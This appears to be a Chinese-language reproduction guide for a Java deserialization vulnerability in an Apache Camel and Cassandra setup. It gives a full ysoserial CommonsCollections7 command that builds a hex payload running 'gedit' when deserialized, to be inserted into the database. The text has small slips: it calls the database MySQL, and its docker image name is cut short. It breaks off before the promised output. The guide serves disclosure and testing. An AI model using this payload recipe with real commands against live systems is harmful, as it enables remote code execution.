我们需要一个 Mysql 实例
docker run --rm -d --name cassandra -p 9042:9042 cassandr
现在我们需要创建所需的表：
你有两个文件：employee.sql 和 employee_completed.sql
运行以下命令：``` docker exec -it cassandra bash
root@fe5e7aff17e7:/# cqlsh
CREATE KEYSPACE db WITH REPLICATION = { 'class' : 'SimpleStrategy', 'replication_factor' : 1 };
输入你的密码，执行 `USE db;` 然后运行两个 SQL 文件。
在此阶段，你已经具备了复现该反序列化所需的必要要素。
### Payload
我们使用的有效载荷基于 commons-collections 3.2.1。
你需要使用：
[https://github.com/frohoff/ysoserial](https://github.com/frohoff/ysoserial)
在命令行中，你可以通过以下方式重新生成有效载荷：
`java --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
--add-opens java.base/java.net=ALL-UNNAMED \
--add-opens=java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections7 gedit | xxd -p`
这将返回有效载荷的 Hex 版本。其思路是在反序列化过程中执行 `gedit` 命令。
你可以尝试各种有效载荷，并通过修改 INSERT 语句来更改 SQL 脚本，然后添加新
生成的有效载荷。
### 运行
为了复现该行为，首先选择一个 JDK 17（本地安装或通过 SDKMan）。
然后运行以下命令：
`mvn clean install -Dcamel.version=4.3.0 -Dspring-boot.version=3.2.0 -Djava.version=17 spring-boot:run`
这将产生以下输出：
